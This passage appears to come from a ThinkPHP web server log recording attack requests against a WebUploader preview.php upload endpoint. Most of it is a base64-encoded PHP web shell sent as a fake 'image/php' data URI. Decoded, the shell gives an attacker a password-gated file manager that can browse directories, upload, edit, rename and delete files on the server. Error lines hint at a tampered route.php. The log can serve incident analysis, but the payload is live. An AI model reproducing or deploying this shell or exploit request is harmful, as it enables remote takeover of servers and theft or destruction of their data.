FycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:20+08:00 ] 119.42.146.234 POST 59.110.137.245/res/plugins/webuploader/0.1.5/server/preview.php [运行时间:0.002587s] [吞吐率:386.57req/s] [内存消耗:180.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'res', 2 => 'plugins', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiw